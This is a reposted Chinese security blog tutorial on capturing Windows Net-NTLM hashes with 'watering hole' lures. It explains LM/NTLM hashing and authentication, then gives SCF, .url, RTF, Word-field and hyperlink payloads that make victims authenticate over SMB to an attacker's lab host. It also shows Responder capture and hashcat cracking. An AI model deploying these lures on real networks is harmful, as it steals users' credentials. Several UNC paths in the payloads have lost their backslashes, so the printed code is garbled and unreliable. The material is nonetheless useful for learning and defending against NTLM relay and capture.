水坑攻击-hash获取

admin 2023年1月1日15:28:05安全文章评论2 views4597字阅读15分19秒阅读模式


01
前言

在内网渗透的过程中,最重要的就是信息搜集,但是在极端情况下我们找不到能够横或者跨域的机器,那么这时候我们就可以尝试做一个水坑,来尝试获取hash

02
认证机制

既然是获取hash,我们先了解一下hash的基础知识、本地认证和网络认证。

LM Hash & NTLM Hash

本机用的密码hash是保存在本地的SAM文件中,域用户的密码hash保存在域控下的NTDS.DIT文件中。

各个版本针对LMNTLM的支持:

水坑攻击-hash获取

LM Hash

1[email protected] 转换为大写[email protected]

2[email protected]转换十六进制

41444D494E40313233

3密码不足14字节用0补全

41444D494E403132330000000000

4分为2组7字节

41444D494E4031

32330000000000

5将这两组7字节的十六进制转换为二进制

01000001010001000100110101001001010011100100000000110001

00110010001100110000000000000000000000000000000000000000

6这两组每7bit一组末尾加0

0100000010100010000100101010100010010100011100100000000001100010

0011001000011000110000000000000000000000000000000000000000000000

7将两组二进制转换为十六进制得到2组8字节编码

40A212A894720062

3218C00000000000

82组8字节编码分别作为DES密钥,[email protected]#$%的16进制作为DES明文进行加密

6F08D7B306B1DAD4

B75E0C8D76954A50

9拼接后得到最后结果

6F08D7B306B1DAD4B75E0C8D76954A50

NTLM Hash

密码为admin,操作系统会将admin转换为十六进制,经过Unicode编码后,再调用MD4加密算法加密,这个加密结果就是NTLM Hash

admin -> hex(16进制编码) = 61646d696e61646d696e -> Unicode = 610064006d0069006e00610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

03
本地认证

输入账号密码登录->winlogin.exe接收用户输入(windows登录界面,用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面)-> lsass.exe进程将明文密码转为hash ->sam文件对比->对比一致即成功登录。

04
网络认证

Net-NTLM Hash数据格式

Net-NTLM Hash v1的格式为:

username::hostname:LM response:NTLM response:challenge

Net-NTLM Hash v2的格式为:

username::domain:challenge:HMAC-MD5:blob

NTLM工作组中的认证机制

1、用户登录客户端电脑

2、客户端向服务器发送协商消息,它主要包含客户端支持和服务器请求的功能列表。

3、服务器进行响应,包含服务器支持的功能列表。最重要的是它包含服务器产生的Challenge。

4、客户端接收到步骤3中的challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challeng发给服务器。消息中的response是最关键的部分,因为向服务器证明客户端用户已经知道帐户密码。

5、服务器拿到获取到信息以后,使用challenge和用户hash进行加密得到response2与客户端发来的response进行比较,如果相同,则返回验证成功。

水坑攻击-hash获取

NTLM在域中的认证机制

1、用户登录客户端电脑

2、客户端向服务器发送协商消息主要包含客户端支持和服务器请求的功能列表。

3、服务器进行响应,包含服务器支持的功能列表。最重要的是包含服务器产生的Challenge。

4、客户端接收到步骤3中的challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challeng发给服务器。消息中的response是最关键的部分,因为向服务器证明客户端用户已经知道帐户密码。

5、服务器拿到获取到信息以后,因为用户hash是存储在域控里面,没有用户hash,也就没办法计算response2进行验证。这个时候服务器就会通过netlogon协议联系域控,建立一个安全通道,然后将response,username,challeng全部发给域控。

6、域控使用challenge和用户hash进行加密得到response2,与服务器发送的response进行比较,然后返回认证成功或者失败的结果。

水坑攻击-hash获取

05
hash获取

思路

通过多种方式强制目标客户端向伪造的服务器发起SMB连接,在伪造的服务器上捕获数据包,获得Net-NTLM hash

对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录

准备工作

攻击机kali:192.168.106.131

已经控制主机( win7,密码为123456 ):192.168.106.129

靶机(win7,密码为123.com):192.168.106.130

攻击机kali

水坑攻击-hash获取

已经控制主机:

水坑攻击-hash获取

靶机

水坑攻击-hash获取

06
Hash获取

SCF文件

什么是scf文件?

SCF文件是“WINDOWS资源管理器命令”文件,它也是一种可执行文件。该类型文件由Windows Explorer Command解释。

什么是UNC?

UNC,即Universal Naming Convention,意为通用命名规则。UNC路径就是类似softer这样的形式的网络路径,unc共享就是指网络硬盘的共享。

可以使用SCF文件执行有限的一组操作(例如显示Windows桌面或打开Windows资源管理器)。如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击

1、首先生成一个SCF文件(192.168.106.131是kali的地址)

[Shell]

Command=2

IconFile=\192.168.106.131sharepentestlab.ico

[Taskbar]

Command=ToggleDesktop

水坑攻击-hash获取

2、将这个scf文件设置为共享状态(已经控制主机)

水坑攻击-hash获取       3、然后使用kali上的responder进行监听操作:

responder -I eth0

水坑攻击-hash获取

4、靶机:192.168.106.130访问恶意SCF文件

水坑攻击-hash获取

备注:

当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可

当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的16字节质询密钥,并使用此质询密钥再次加密散列的NTLM/ LANMAN密码,我们将捕获NTLMv2哈希。

5、kali获取到靶机:192.168.106.130的hash值

水坑攻击-hash获取

6、使用hashcat破解hash的密码

hashcat -m 5600 1.txt top100.txt

水坑攻击-hash获取

超链接

1、新建一个文件,插入超链接:\192.168.106.131qwe.exe

水坑攻击-hash获取 

2、靶机点击超链接。

水坑攻击-hash获取

3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130hash值:

responder -I eth0

水坑攻击-hash获取

不存在的共享

如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。

通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLM Hash。

1、靶机访问一个无效的共享:\111

水坑攻击-hash获取

2、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:

responder -I eth0

水坑攻击-hash获取

URL

原理跟使用超链接类似,让靶机去访问IconFile=\192.168.106.131qwe.icon,即一个不存在的文件。

1、生成一个test1.url,内容如下:

[InternetShortcut]

URL=test-hash                        //url内容

WorkingDirectory=test-hash            //url名称

IconFile=\192.168.106.131qwe.icon

IconIndex=1

水坑攻击-hash获取

2、靶机192.168.106.130访问恶意URL文件

水坑攻击-hash获取

3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:

responder -I eth0

水坑攻击-hash获取

RTF

富文本格式(Rich Text Format)即RTF格式,又称多文本格式,是由微软公司开发的跨平台文档格式。大多数的文字处理软件都能读取和保存RTF文档。

富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。

1、生成一个test.rtf,内容如下所示:

{rtf1{field{*fldinst {INCLUDEPICTURE "file://192.168.106.131/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}

水坑攻击-hash获取

2、靶机:192.168.106.130访问恶意文件test.rtf

水坑攻击-hash获取

3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:

responder -I eth0

水坑攻击-hash获取

IncludePicture

IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能

1、这里打开word文档,使用ctfl + F9可以得到一个{},我们在后面加上一个不存在的地址

{ \192.168.106.131test.jpg }

水坑攻击-hash获取

水坑攻击-hash获取

2、靶机192.168.106.130访问恶意文件test.xml

水坑攻击-hash获取

水坑攻击-hash获取

3、然后使用kali上的responder进行监听操作,获取到靶机:192.168.106.130的hash值:

responder -I eth0

参考文档:

https://mp.weixin.qq.com/s/zsye6NVkwSnSh2qbYCLSBQ

水坑攻击-hash获取
(
END
)
水坑攻击-hash获取









监制:船长、铁子   策划:AST   文案:W  美工:青柠

原文始发于微信公众号(千寻安服):水坑攻击-hash获取

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月1日15:28:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  水坑攻击-hash获取 http://cn-sec.com/archives/1489714.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: